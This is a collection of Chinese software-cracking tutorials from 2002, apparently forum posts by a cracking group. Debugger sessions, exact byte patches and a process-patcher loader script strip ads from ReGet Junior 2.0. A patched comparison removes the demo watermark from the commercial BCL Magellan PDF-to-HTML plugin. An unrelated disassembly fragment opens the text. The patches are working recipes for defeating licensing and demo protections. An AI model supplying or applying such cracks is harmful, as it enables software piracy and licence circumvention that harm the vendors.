:004E6555 8BF0 mov esi, eax 8bf0改8cd6 也就是(mov esi,ss)
:004E6557 81FEFFFF0000 cmp esi, 0000FFFF esi不能为ffffffff
:004E655D 7605 jbe 004E6564
:004E655F E8F4C8F1FF call 00402E58

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004E655D(C)
|
:004E6564 6689B388020100 mov word ptr [ebx+00010288], si
:004E656B 66C745FC0100 mov [ebp-04], 0001
:004E6571 66C745FE0000 mov [ebp-02], 0000
:004E6577 6A04 push 00000004
:004E6579 8D45FC lea eax, dword ptr [ebp-04]
:004E657C 50 push eax
:004E657D 6880000000 push 00000080

* Possible Reference to String Resource ID=65535: "Disk full"
|
:004E6582 68FFFF0000 push 0000FFFF
:004E6587 0FB7C6 movzx eax, si
:004E658A 50 push eax


ReGet Junior 2.0(一）

 标 题:ReGet Junior 2.0破解手记(一） (3千字)
发信人:囚童
时 间:2002-2-23 18:18:32
详细信息:

ReGet Junior 2.0破解手记(一）

作者：　囚童[FCG][BCG]
课题：　（一）解除ReGet Junior 2.0广告动画画面
背景：　PACKED WITH ASProtect v1.2
下载：　http：//www.cn778.net/download/c_bexpress.zip
工具：　TRW2000
        Ultra Edit 32
        FileMon V4.29

ReGet Junior 2.0支持HTTP与FTP续传，内建10种语言，可以按照需要来切换.可设置
/储存下传文件名单，万一FTP Server接不通，ReGet会一直会试下传文件直到完成为
止.它也可以下传整个目录，自定同时下传文件的数目，节省时间与省却不少麻烦。

ReGet Junior 2.0是一个免费软件，但在开始运行时会有一个一现而过的显示软件名
称和版本号的BANNER,程序主窗口的上方始终有一个动画广告BANNER窗口，没有注册入口。

先运行FileMon，然后安装ReGet Junior 2.0,从FileMon可以看到在安装过程中，向
C：\WINDOWS\SYSTEM目录中写入了一些文件，其中有.DLL文件和.GIF文件。

将安装后的ReGet Junior 2.0主文件regetjr.exe做一个备份.

运行regetjr.exe，从FileMon可以看到，regetjr会从C：\WINDOWS\SYSTEM中读取一些
文件，其中有cd_clint.dll、b_372800.GIF和b_372900.GIF.

解除ReGet Junior 2.0广告动画画面方法一：

用资源管理器打开C：\WINDOWS\SYSTEM，在AdCache子目录下找到图形动画文件b_372800
.GIF和b_372900.GIF，将其后缀改为G1F或干脆删除。

再次运行regetjr.exe，广告动画画面消失。

解除ReGet Junior 2.0广告动画画面方法二：

启动TRW2000,点OK,TRW2000在屏幕右下角生成一个小图标.

运行regetjr.exe，当显示软件名称和版本号的BANNER完整出现并稳定时，按下CTRL+N,
程序被TRW2000中断。

下指令：　BPX GETPROCADDRESS
按F5,程序运行并被TRW截获.（若截获不到，可退出重来。）
下指令：　BD*　;清中断.

下指令：　PMODULE
回到regetjr域：

0167：00429207 PUSH DWORD 0046D2B8
0167：0042920E CALL NEAR [004601F0]
0167：00429214 XOR EDI,EDI
0167：00429214 XOR EDI,EDI
0167：00429216 MOV [ESI+28],EAX
0167：00429219 CMP EAX,EDI
0167：0042921B JZ 0042923B
0167：0042921D MOV EBX,[004600F0]
0167：00429223 PUSH DWORD 0046D2AC
0167：00429228 PUSH EAX
0167：00429229 CALL EBX
0167：0042922B PUSH DWORD 0046D29C　〈== 光标停在这里
0167：00429230 MOV [ESI+30],EAX　〈== EAX=10015792
0167：00429233 PUSH DWORD [ESI+28]
0167：00429236 CALL EBX
0167：00429238 MOV [ESI+2C],EAX

向上看，在进入这个CALL之前，程序在429223处向堆栈压入一个数46D2AC，我们来看
一下里面是什么。

下指令：　D DS：46D2AC
TRW给出：
0046D2AC 53 65 72 76 69 63 65 53-68 6F 77 00 43 44 5F 43 ServiceShow.CD_C
0046D2BC 6C 69 6E 74 2E 64 6C 6C-00 00 00 00 2E 45 58 45 lint.dll.....EXE

哈，正是我们在安装ReGet Junior 2.0时看到的cd_clint.dll。ServiceShow是它的一
个函数，EAX=10015792是函数的入口。

下指令： BPX ServiceShow
按F5,程序运行并被TRW截获.来到cd_clint域：

0167：10015792 MOV EAX,10037056　〈== 光标停在这里
0167：10015797 CALL 10027CC8
0167：1001579C SUB ESP,BYTE +14
0167：1001579F PUSH EBX
0167：100157A0 PUSH ESI
0167：100157A1 PUSH EDI
0167：100157A2 MOV EDI,[EBP+08]　〈== EDI<=E5
0167：100157A5 LEA ECX,[EBP-18]
0167：100157A8 MOV [EBP-10],ESP
0167：100157AB MOV [1004DA30],EDI
0167：100157B1 CALL 10013BE6
0167：100157B6 MOV EBX,[EBP+28]

下指令：　BD*　;清中断.

按F10,一路走一路看，来到100157A2,此时EDI=E5。
试着下指令： REDI 0
按F5试一下。好，广告动画画面消失。

我们来动手改程序：

下指令：　A 100157A2↙

100157A2　XOR EDI EDI↙
100157A4　NOP↙
100157A5↙

记下修改前后的十六进制码.
使用Ultra Edit 32,按下面的方法对cd_clint.dll做最后的修改：

578B7D088D4DE8
--31FF90------

将修改后的cd_clint.dll存放在与regetjr.exe同一个目录中。

解除ReGet Junior 2.0广告动画画面的任务到此完成。

相关文章：ReGet Junior 2.0破解手记(一） ReGet Junior 2.0破解手记(二) ReGet Junior 2.0破解手记(三）


ReGet Junior 2.0(二）

标 题:ReGet Junior 2.0破解手记(二） (4千字)
发信人:囚童
时 间:2002-2-23 18:16:53
详细信息:

ReGet Junior 2.0破解手记(二）

作者：　囚童[FCG][BCG]
课题：　（二）解除ReGet Junior 2.0显示软件名称和版本号的BANNER,做内存补丁
背景：　PACKED WITH ASProtect v1.2
下载：　http：//www.cn778.net/download/c_bexpress.zip
工具：　TRW2000
        Ultra Edit 32
        R!SC's Process Patcher v1.60

接ReGet Junior 2.0破解手记(一）

在破解手记(一）中，我们讲了解除ReGet Junior 2.0广告动画画面的方法两种。
为便于制作内存补丁，再来介绍一下第三种方法：

解除ReGet Junior 2.0广告动画画面方法三：

启动TRW2000,点OK,TRW2000在屏幕右下角生成一个小图标.

①
运行regetjr.exe，当显示软件名称和版本号的BANNER完整出现并稳定时，按下CTRL+N,
程序被TRW2000中断。

下指令：　BPX GETPROCADDRESS
按F5,程序运行并被TRW截获.（若截获不到，可退出重来。）
下指令：　BD*　;清中断.

下指令：　PMODULE
回到regetjr域：

0167：00429207　PUSH　DWORD 0046D2B8
0167：0042920E　CALL　NEAR [004601F0]
0167：00429214　XOR 　EDI,EDI
0167：00429214　XOR 　EDI,EDI
0167：00429216　MOV 　[ESI+28],EAX
0167：00429219　CMP 　EAX,EDI
0167：0042921B　JZ 　0042923B
0167：0042921D　MOV 　EBX,[004600F0]
0167：00429223　PUSH　DWORD 0046D2AC
0167：00429228　PUSH　EAX
0167：00429229　CALL　EBX
0167：0042922B　PUSH　DWORD 0046D29C　〈== 光标停在这里
0167：00429230　MOV 　[ESI+30],EAX
0167：00429233　PUSH　DWORD [ESI+28]
0167：00429236　CALL　EBX
0167：00429238　MOV 　[ESI+2C],EAX

下指令：　BD*　;清中断.

②
按F10,一路来到：

0167：004292DA　PUSH　EDI
0167：004292DB　PUSH　EDI
0167：004292DC　PUSH　BYTE +04
0167：004292DE　PUSH　DWORD [ESI+24]
0167：004292E1　PUSH　DWORD [ESI+20]
0167：004292E4　PUSH　EDI
0167：004292E5　PUSH　EDI
0167：004292E6　PUSH　DWORD [ESI+04]
0167：004292E9　PUSH　EDI
0167：004292EA　PUSH　BYTE +01
0167：004292EC　PUSH　DWORD E5　〈== 注意这个值
0167：004292F1　CALL　EAX
0167：004292F3　TEST　EAX,EAX

下指令： CODE ON
记下这里的代码：
4292ED：E5

下指令： E CS：4292ED　0

按F5,程序运行,好，广告动画画面消失。

解除ReGet Junior 2.0显示软件名称和版本号的BANNER

③
重复上述过程①
显示软件名称和版本号的BANNER出现在屏幕上，并被TRW截获.（若截获不到，可退出
重来。）

按F12，直到显示软件名称和版本号的BANNER从屏幕上消失，我们来到：

0167：0042949F　AND 　DWORD [EBP-04],BYTE +00
0167：004294A3　MOV 　ECX,EBX
0167：004294A5　CALL　0042D7FD　　〈== 设断
0167：004294AA　AND 　DWORD [EDI],BYTE +00　〈== 光标停在这里
0167：004294AD　JMP 　0042957C

④
下指令：　BPX 4294A5
按F5退出。

重新运行regetjr.exe，当显示软件名称和版本号的BANNER尚未出现时，按下CTRL+N。
反复按CTRL＋F5,CTRL+N,直到上述代码出现在TRW代码窗口中。
此时光标停留在设断一行上。

按F8跟进，来到：

0167：0042D7FD　PUSH　EBP　〈== 光标停在这里
0167：0042D7FE　MOV 　EBP,ESP
0167：0042D800　SUB 　ESP,EC
0167：0042D806　PUSH　EBX
0167：0042D807　MOV 　EBX,ECX
0167：0042D809　PUSH　ESI
0167：0042D80A　PUSH　EDI
0167：0042D80B　MOV 　EAX,[EBX+04]
0167：0042D80E　LEA 　EDI,[EBX+04]
0167：0042D811　XOR 　ESI,ESI
0167：0042D813　MOV 　[004772B8],EAX
0167：0042D818　CMP 　[004658B0],ESI
0167：0042D81E　JNZ 　0042D82B

按F10,一路来到：

0167：0042DB2A　MOV 　EAX,[EBP-10]
0167：0042DB2D　PUSH　DWORD 03E8
0167：0042DB32　PUSH　EAX
0167：0042DB33　MOV 　ECX,[EAX]
0167：0042DB35　CALL　NEAR [ECX+64]　〈== 光标停在这里
0167：0042DB38　MOV 　EAX,[EBP-08]
0167：0042DB3B　CMP 　EAX,ESI
0167：0042DB3D　JZ 　0042DB45

按F8跟进，来到：

0167：121A3DC0　SUB 　ESP,BYTE +1C
0167：121A3DC3　PUSH　ESI
0167：121A3DC4　PUSH　EDI
0167：121A3DC5　MOV 　EDI,[ESP+2C]
0167：121A3DC9　TEST　EDI,EDI
0167：121A3DCB　JNL 　121A3DDA　〈== 注意这里
0167：121A3DCD　POP 　EDI
0167：121A3DCE　MOV 　EAX,80070057
0167：121A3DD3　POP 　ESI
0167：121A3DD4　ADD 　ESP,BYTE +1C
0167：121A3DD7　RET 　08

下指令： CODE ON
记下这里的代码：
121A3DCB：7D 0D

下指令： E CS：121A3DCB 90 90

按F5,程序运行,好，显示软件名称和版本号的BANNER不再在屏幕上出现。

⑤
根据上面收集到的数据，我们可以利用R!SC's Process Patcher v1.60制作一个内存
补丁。

其脚本如下：

;ReGetJR补丁程序
;撤除广告动画画面及显示软件名称和版本号的BANNER
;loadregetjr.rpp
T=7000：　　　　　　　　;投放次数
F=REGETJR.EXE：　　　　　　　;修补对象
O=loadregetjr.EXE：　　　　　　;输出文件
P=121A3DCB/7D,0D/90,90：　　　　　　;替换码
P=4292ED/E5/00：　　　　　　　;替换码
$　　　　　　　　;终止

将脚本载入R!SC's Process Patcher v1.60中，按“SAVE AND BUILD SCRIPT"按钮。
输出文件loadregetjr.EXE自动生成。

将生成的输出文件loadregetjr.EXE存放在与regetjr.exe同一个目录中。

运行loadregetjr.EXE，程序启动较慢，但不再出现显示软件名称和版本号的BANNER，
广告动画画面也从窗口中消失。

解除ReGet Junior 2.0显示软件名称和版本号的BANNER，消除ReGet Junior 2.0广告
动画画面，补丁制作的任务到此完成。

相关文章：ReGet Junior 2.0破解手记(一） ReGet Junior 2.0破解手记(二) ReGet Junior 2.0破解手记(三）


BCL Magellan Plugin Demo 4.2

 标 题:去水印，我一直都很想搞定东东！ (47千字)
发信人:peterchen
时 间:2002-2-18 23:30:32
详细信息:
解密者:PeterChen
组织:Free Cracking Group of China=[FCG]
对像:BCL Magellan Plugin Demo 4.2
功能:PDF to HTML Publishing Tool
保护:超级大水印与自制广告词。
破解工具:win32asm9.0
它是Acrobat 5.x正版加强功能插件，老外很早就有破解文件下载。
就是没有看到，老外最近也太水气了吧？这个非一般破解，应该拿出来交流一下才对!
没有办法，明天就要上班。就试一下自己动手，写一篇教程出来祝贺Last Day!
很久没有动手，分析它流程用一天时间。*_*
最明显提示:
--------------------------------------------------------------------------------
This page is not extracted in demo version.
--------------------------------------------------------------------------------
BCL
http://www.bcl-computers.com/
--------------------------------------------------------------------------------
最后完整搞定，就是听前恩师话耐心分析汇编流程内容:
* Possible Reference to String Resource ID=00049: "Processing Page %d of %d..."
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
:10004C4F 6A31 push 00000031
:10004C51 8D4DF0 lea ecx, dword ptr [ebp-10]
:10004C54 E874640500 call 1005B0CD
:10004C59 8B45EC mov eax, dword ptr [ebp-14]
:10004C5C 8B8E5C110000 mov ecx, dword ptr [esi+0000115C]
:10004C62 8B55F0 mov edx, dword ptr [ebp-10]
:10004C65 40 inc eax
:10004C66 41 inc ecx
:10004C67 51 push ecx
:10004C68 50 push eax
:10004C69 8D45E4 lea eax, dword ptr [ebp-1C]
:10004C6C 52 push edx
:10004C6D 50 push eax
:10004C6E E8A4140500 call 10056117
:10004C73 8B17 mov edx, dword ptr [edi]
:10004C75 83C410 add esp, 00000010
:10004C78 8D45E4 lea eax, dword ptr [ebp-1C]
:10004C7B 8BCF mov ecx, edi
:10004C7D 50 push eax
:10004C7E FF521C call [edx+1C]
:10004C81 51 push ecx
:10004C82 8D55E4 lea edx, dword ptr [ebp-1C]
:10004C85 8BCC mov ecx, esp
:10004C87 8965AC mov dword ptr [ebp-54], esp
:10004C8A 52 push edx
:10004C8B E8F25D0500 call 1005AA82
:10004C90 8B07 mov eax, dword ptr [edi]
:10004C92 8BCF mov ecx, edi
:10004C94 FF5038 call [eax+38]
:10004C97 8A4514 mov al, byte ptr [ebp+14]
:10004C9A 84C0 test al, al
:10004C9C 742B je 10004CC9
:10004C9E 8B8E5C110000 mov ecx, dword ptr [esi+0000115C]
:10004CA4 8B55EC mov edx, dword ptr [ebp-14]
:10004CA7 41 inc ecx
:10004CA8 8D4201 lea eax, dword ptr [edx+01]
:10004CAB 51 push ecx
:10004CAC 50 push eax
:10004CAD 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Data Obj ->"Page %d of %d - Magellan"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^
:10004CB0 6824CD0710 push 1007CD24
:10004CB5 50 push eax
:10004CB6 E85C140500 call 10056117
:10004CBB 8B17 mov edx, dword ptr [edi]
:10004CBD 83C410 add esp, 00000010
:10004CC0 8D45F0 lea eax, dword ptr [ebp-10]
:10004CC3 8BCF mov ecx, edi
:10004CC5 50 push eax
:10004CC6 FF5210 call [edx+10]

以上内容是整理pdf to html进程！
_______________________________________________________________________________
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10004C3A(C), :10004C9C(C)
|
:10004CC9 D98654110000 fld dword ptr [esi+00001154]
:10004CCF D80D04580610 fmul dword ptr [10065804]
:10004CD5 8B4DCC mov ecx, dword ptr [ebp-34]
:10004CD8 8B45EC mov eax, dword ptr [ebp-14]
-------------------------------------------------------------
:10004CDB 3BC1 cmp eax, ecx--->@ffset 4cdh抢着必死信心，试改之!^_^
:10004CDB 3BC0 cmp eax, eax--->Yeach！万岁，You Win!
-------------------------------------------------------------
:10004CDD D95DBC fstp dword ptr [ebp-44]--->这好像是浮点命令。
:10004CE0 0F84A9050000 je 1000528F---->☆ 所以不修改此处而>>>
:10004CE6 8A8678110000 mov al, byte ptr [esi+00001178]
:10004CEC 84C0 test al, al
:10004CEE 0F8466050000 je 1000525A
:10004CF4 8B8644110000 mov eax, dword ptr [esi+00001144]
:10004CFA 83F804 cmp eax, 00000004
:10004CFD 0F8457050000 je 1000525A
:10004D03 83F801 cmp eax, 00000001
:10004D06 752E jne 10004D36
:10004D08 8D9640100000 lea edx, dword ptr [esi+00001040]
:10004D0E 8D86400E0000 lea eax, dword ptr [esi+00000E40]
:10004D14 52 push edx
:10004D15 8D8E28080000 lea ecx, dword ptr [esi+00000828]
:10004D1B 50 push eax
:10004D1C 51 push ecx
:10004D1D 8D9568FEFFFF lea edx, dword ptr [ebp+FFFFFE68]

* Possible StringData Ref from Data Obj ->"%s%s%s"
|
:10004D23 6870C00710 push 1007C070
:10004D28 52 push edx
:10004D29 E80D3D0300 call 10038A3B
:10004D2E 83C414 add esp, 00000014
:10004D31 E996000000 jmp 10004DCC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004D06(C)
|
:10004D36 83F802 cmp eax, 00000002
:10004D39 752B jne 10004D66
:10004D3B 8D8640100000 lea eax, dword ptr [esi+00001040]
:10004D41 8D8E400E0000 lea ecx, dword ptr [esi+00000E40]
:10004D47 50 push eax
:10004D48 8D962C090000 lea edx, dword ptr [esi+0000092C]
:10004D4E 51 push ecx
:10004D4F 52 push edx
:10004D50 8D8568FEFFFF lea eax, dword ptr [ebp+FFFFFE68]

* Possible StringData Ref from Data Obj ->"%s%s%s"
|
:10004D56 6870C00710 push 1007C070
:10004D5B 50 push eax
:10004D5C E8DA3C0300 call 10038A3B
:10004D61 83C414 add esp, 00000014
:10004D64 EB66 jmp 10004DCC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004D39(C)
|
:10004D66 83F803 cmp eax, 00000003
:10004D69 7561 jne 10004DCC
:10004D6B 8DBE40100000 lea edi, dword ptr [esi+00001040]
:10004D71 8D9E400E0000 lea ebx, dword ptr [esi+00000E40]
:10004D77 57 push edi
:10004D78 8D8E28080000 lea ecx, dword ptr [esi+00000828]
:10004D7E 53 push ebx
:10004D7F 51 push ecx
:10004D80 8D9568FEFFFF lea edx, dword ptr [ebp+FFFFFE68]

* Possible StringData Ref from Data Obj ->"%s%s%s"
|
:10004D86 6870C00710 push 1007C070
:10004D8B 52 push edx
:10004D8C E8AA3C0300 call 10038A3B
:10004D91 57 push edi
:10004D92 8D862C090000 lea eax, dword ptr [esi+0000092C]
:10004D98 53 push ebx
:10004D99 50 push eax
:10004D9A 8D8D20F5FFFF lea ecx, dword ptr [ebp+FFFFF520]

* Possible StringData Ref from Data Obj ->"%s%s%s"
|
:10004DA0 6870C00710 push 1007C070
:10004DA5 51 push ecx
:10004DA6 E8903C0300 call 10038A3B
:10004DAB 8D9520F5FFFF lea edx, dword ptr [ebp+FFFFF520]

* Possible StringData Ref from Data Obj ->"aa"
|
:10004DB1 6820CD0710 push 1007CD20
:10004DB6 52 push edx
:10004DB7 E86C3C0300 call 10038A28
:10004DBC 8BD8 mov ebx, eax
:10004DBE 83C430 add esp, 00000030
:10004DC1 85DB test ebx, ebx
:10004DC3 895DC4 mov dword ptr [ebp-3C], ebx
:10004DC6 0F8443070000 je 1000550F

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10004D31(U), :10004D64(U), :10004D69(C)
|
:10004DCC 8D8568FEFFFF lea eax, dword ptr [ebp+FFFFFE68]

* Possible StringData Ref from Data Obj ->"aa"
|
:10004DD2 6820CD0710 push 1007CD20
:10004DD7 50 push eax
:10004DD8 E84B3C0300 call 10038A28
:10004DDD 8BF8 mov edi, eax
:10004DDF 83C408 add esp, 00000008
:10004DE2 85FF test edi, edi
:10004DE4 0F8425070000 je 1000550F

* Possible StringData Ref from Data Obj ->"</BODY>

<STYLE TYPE="text/css">"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
:10004DEA 68FCCC0710 push 1007CCFC 这里就是字体风格

* Possible StringData Ref from Data Obj ->"%s
"
|
:10004DEF 68F8CC0710 push 1007CCF8
:10004DF4 57 push edi
:10004DF5 E8C13B0300 call 100389BB

* Possible StringData Ref from Data Obj ->"<!-- /* page size information "
->"*/
" ^^^^^^^^^^^^^^^^^^^^^^^^
| 页面内容大小
:10004DFA 68D4CC0710 push 1007CCD4

* Possible StringData Ref from Data Obj ->"%s"
|
:10004DFF 6844B10710 push 1007B144
:10004E04 57 push edi
:10004E05 E8B13B0300 call 100389BB
:10004E0A 8B4DEC mov ecx, dword ptr [ebp-14]
:10004E0D 51 push ecx

* Possible StringData Ref from Data Obj ->".pg%d{"
|
:10004E0E 68CCCC0710 push 1007CCCC
:10004E13 57 push edi
:10004E14 E8A23B0300 call 100389BB

* Possible StringData Ref from Data Obj ->"absolute"
|
:10004E19 68C0CC0710 push 1007CCC0

* Possible StringData Ref from Data Obj ->"position:%s;"
|
:10004E1E 68B0CC0710 push 1007CCB0
:10004E23 57 push edi
:10004E24 E8923B0300 call 100389BB
:10004E29 8B9684110000 mov edx, dword ptr [esi+00001184]
:10004E2F 8B8E98110000 mov ecx, dword ptr [esi+00001198]
:10004E35 8B8680110000 mov eax, dword ptr [esi+00001180]
:10004E3B 03D1 add edx, ecx
:10004E3D 03C2 add eax, edx
:10004E3F 50 push eax

* Possible StringData Ref from Data Obj ->"top:%dpx
| ^^^^------->上边
:10004E40 68A4CC0710 push 1007CCA4
:10004E45 57 push edi
:10004E46 898680110000 mov dword ptr [esi+00001180], eax
:10004E4C E86A3B0300 call 100389BB
:10004E51 8B8688110000 mov eax, dword ptr [esi+00001188]
:10004E57 50 push eax

* Possible StringData Ref from Data Obj ->"left:%dpx;"
| ^^^^^^^^^---->左边
:10004E58 6898CC0710 push 1007CC98
:10004E5D 57 push edi
:10004E5E E8583B0300 call 100389BB
:10004E63 8B8E8C110000 mov ecx, dword ptr [esi+0000118C]
:10004E69 83C448 add esp, 00000048
:10004E6C 51 push ecx

* Possible StringData Ref from Data Obj ->"height:%dpx;"
| ^^^^^^---------->高度
:10004E6D 6888CC0710 push 1007CC88
:10004E72 57 push edi
:10004E73 E8433B0300 call 100389BB
:10004E78 8B9690110000 mov edx, dword ptr [esi+00001190]
:10004E7E 52 push edx

* Possible StringData Ref from Data Obj ->"width:%dpx;"
| ^^^^^------------->宽度
:10004E7F 687CCC0710 push 1007CC7C
:10004E84 57 push edi
:10004E85 E8313B0300 call 100389BB

* Possible StringData Ref from Data Obj ->"}
"
|
:10004E8A 6878CC0710 push 1007CC78
:10004E8F 57 push edi
:10004E90 E8263B0300 call 100389BB

* Possible StringData Ref from Data Obj ->"
"
|
:10004E95 6874CC0710 push 1007CC74
:10004E9A 57 push edi
:10004E9B E81B3B0300 call 100389BB

* Possible StringData Ref from Data Obj ->"/* text positioning information "
->"*/
" ^^^^^^^^^^^^^^^^^^^^^^^^^^
| 准备放上内容
:10004EA0 6850CC0710 push 1007CC50
:10004EA5 57 push edi
:10004EA6 E8103B0300 call 100389BB
:10004EAB D945BC fld dword ptr [ebp-44]
:10004EAE D80D00580610 fmul dword ptr [10065800]
:10004EB4 83C430 add esp, 00000030
:10004EB7 C745C800000000 mov [ebp-38], 00000000
:10004EBE E8C5430300 call 10039288
:10004EC3 D945BC fld dword ptr [ebp-44]
:10004EC6 D80DFC570610 fmul dword ptr [100657FC]
:10004ECC 8945B4 mov dword ptr [ebp-4C], eax
:10004ECF E8B4430300 call 10039288
:10004ED4 8945B8 mov dword ptr [ebp-48], eax
:10004ED7 C745E000000000 mov [ebp-20], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004F6C(C)
|
:10004EDE 8B45C8 mov eax, dword ptr [ebp-38]
:10004EE1 8B4DEC mov ecx, dword ptr [ebp-14]
:10004EE4 50 push eax
:10004EE5 51 push ecx

* Possible StringData Ref from Data Obj ->".ps%dp%d{"
|
:10004EE6 6844CC0710 push 1007CC44
:10004EEB 57 push edi
:10004EEC E8CA3A0300 call 100389BB

* Possible StringData Ref from Data Obj ->"absolute"
|
:10004EF1 68C0CC0710 push 1007CCC0

* Possible StringData Ref from Data Obj ->"position:%s;"
|
:10004EF6 68B0CC0710 push 1007CCB0
:10004EFB 57 push edi
:10004EFC E8BA3A0300 call 100389BB
:10004F01 8B868C110000 mov eax, dword ptr [esi+0000118C]
:10004F07 8B8E80110000 mov ecx, dword ptr [esi+00001180]
:10004F0D 99 cdq
:10004F0E 2BC2 sub eax, edx
:10004F10 8B55E0 mov edx, dword ptr [ebp-20]
:10004F13 D1F8 sar eax, 1
:10004F15 03C1 add eax, ecx
:10004F17 03C2 add eax, edx
:10004F19 50 push eax

* Possible StringData Ref from Data Obj ->"top:%dpx;"
|
:10004F1A 68A4CC0710 push 1007CCA4
:10004F1F 57 push edi
:10004F20 E8963A0300 call 100389BB
:10004F25 8B55B4 mov edx, dword ptr [ebp-4C]
:10004F28 52 push edx
* Possible StringData Ref from Data Obj ->"left:%dpx;"
|
:10004F29 6898CC0710 push 1007CC98
:10004F2E 57 push edi
:10004F2F E8873A0300 call 100389BB
:10004F34 8B45B8 mov eax, dword ptr [ebp-48]
:10004F37 50 push eax

* Possible StringData Ref from Data Obj ->"width:%dpx;"
|
:10004F38 687CCC0710 push 1007CC7C
:10004F3D 57 push edi
:10004F3E E8783A0300 call 100389BB
:10004F43 83C440 add esp, 00000040

* Possible StringData Ref from Data Obj ->"}}"
|
:10004F46 6840CC0710 push 1007CC40

* Possible StringData Ref from Data Obj ->"%s

"
|
:10004F4B 6838CC0710 push 1007CC38
:10004F50 57 push edi
:10004F51 E8653A0300 call 100389BB
:10004F56 8B45C8 mov eax, dword ptr [ebp-38]
:10004F59 83C40C add esp, 0000000C
:10004F5C 40 inc eax
:10004F5D 8945C8 mov dword ptr [ebp-38], eax
:10004F60 8B45E0 mov eax, dword ptr [ebp-20]
:10004F63 83C01E add eax, 0000001E
:10004F66 83F83C cmp eax, 0000003C
:10004F69 8945E0 mov dword ptr [ebp-20], eax
:10004F6C 0F8C6CFFFFFF jl 10004EDE

* Possible StringData Ref from Data Obj ->"-->
</STYLE>
<BODY>
"
| ^^^^^^^^^^^^^^^^^------>又是字体风格
:10004F72 6820CC0710 push 1007CC20

* Possible StringData Ref from Data Obj ->"%s"
|
:10004F77 6844B10710 push 1007B144
:10004F7C 57 push edi
:10004F7D E8393A0300 call 100389BB
以上内容：相信会html编写的朋友都知道是什么吧？大形式如下:
--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------
生成这样线条!注这时线条，是不可见！只是大至定线条位置
_________________________________________________________________________________
* Possible StringData Ref from Data Obj ->"<!-- text starts here -->"
| ^^^^^^^^^^^^^^^^^^^^^^^^垃圾内容准备加载！
:10004F82 6804CC0710 push 1007CC04

* Possible StringData Ref from Data Obj ->"%s

"
|
:10004F87 6838CC0710 push 1007CC38
:10004F8C 57 push edi
:10004F8D E8293A0300 call 100389BB
:10004F92 8B4DEC mov ecx, dword ptr [ebp-14]
:10004F95 6A00 push 00000000
:10004F97 51 push ecx

* Possible StringData Ref from Data Obj ->"<SPAN class="ps%dp%d">"
| ^^^^^^^^^^^^^^^^^^^^^^---------->线条出来了!:(
:10004F98 68ECCB0710 push 1007CBEC
:10004F9D 57 push edi
:10004F9E E8183A0300 call 100389BB

* Possible StringData Ref from Data Obj ->"This "
->"page is not extracted in demo "
->"version."
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^垃圾内容。
:10004FA3 6898CB0710 push 1007CB98
:10004FA8 57 push edi
:10004FA9 E80D3A0300 call 100389BB

* Possible StringData Ref from Data Obj ->"</SPAN>"
| ^^^^^^^^^-------->结束语
:10004FAE 6890CB0710 push 1007CB90

* Possible StringData Ref from Data Obj ->"%s
"
|
:10004FB3 68F8CC0710 push 1007CCF8
:10004FB8 57 push edi
:10004FB9 E8FD390300 call 100389BB
:10004FBE 8B55EC mov edx, dword ptr [ebp-14]

* Possible Reference to String Resource ID=00001: "All"
|
:10004FC1 6A01 push 00000001
:10004FC3 52 push edx

* Possible StringData Ref from Data Obj ->"<SPAN class="ps%dp%d">"
| ^^^^^^^^^^^^^^^^^^^^^^-------->第二条线出来
:10004FC4 68ECCB0710 push 1007CBEC
:10004FC9 57 push edi
:10004FCA E8EC390300 call 100389BB
:10004FCF 83C44C add esp, 0000004C

* Possible StringData Ref from Data Obj ->"http://www.bcl-"
->"computers.com/"
| ^^^^^^^^^^^^^^^^^^^^^又句垃圾话。
:10004FD2 684CCB0710 push 1007CB4C
:10004FD7 57 push edi
:10004FD8 E8DE390300 call 100389BB

* Possible StringData Ref from Data Obj ->"</SPAN>"
| ^^^^^^^----------->结束语
:10004FDD 6890CB0710 push 1007CB90

* Possible StringData Ref from Data Obj ->"%s
"
|
:10004FE2 68F8CC0710 push 1007CCF8
:10004FE7 57 push edi
:10004FE8 E8CE390300 call 100389BB
:10004FED 8B45EC mov eax, dword ptr [ebp-14]
:10004FF0 8B8E5C110000 mov ecx, dword ptr [esi+0000115C]
:10004FF6 83C414 add esp, 00000014
:10004FF9 3BC1 cmp eax, ecx
:10004FFB 750E jne 1000500B

* Possible StringData Ref from Data Obj ->"</BODY>

</HTML>
"
| ^^^^^^^^^^^^^^^^^^------->最后结束语
:10004FFD 6838CB0710 push 1007CB38
:10005002 57 push edi
:10005003 E8B3390300 call 100389BB
:10005008 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004FFB(C)
|
:1000500B 57 push edi
:1000500C E82D390300 call 1003893E
:10005011 8B8644110000 mov eax, dword ptr [esi+00001144]
:10005017 83C404 add esp, 00000004
:1000501A 83F803 cmp eax, 00000003
:1000501D 0F85F9010000 jne 1000521C

* Possible StringData Ref from Data Obj ->"<STYLE TYPE="text/css">"
| ^^^^^^^^^^^^^^^^^^^^^^^---->又是字体风格
:10005023 6820CB0710 push 1007CB20

* Possible StringData Ref from Data Obj ->"%s
"
|
:10005028 68F8CC0710 push 1007CCF8
:1000502D 53 push ebx
:1000502E E888390300 call 100389BB

* Possible StringData Ref from Data Obj ->"<!-- /* page size information "
->"*/
"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^----->同上
:10005033 68D4CC0710 push 1007CCD4

* Possible StringData Ref from Data Obj ->"%s"
|
:10005038 6844B10710 push 1007B144
:1000503D 53 push ebx
:1000503E E878390300 call 100389BB
:10005043 8B4DEC mov ecx, dword ptr [ebp-14]
:10005046 51 push ecx

* Possible StringData Ref from Data Obj ->".pg%d{"
|
:10005047 68CCCC0710 push 1007CCCC
:1000504C 53 push ebx
:1000504D E869390300 call 100389BB

* Possible StringData Ref from Data Obj ->"absolute"
|
:10005052 68C0CC0710 push 1007CCC0

* Possible StringData Ref from Data Obj ->"position:%s;"
|
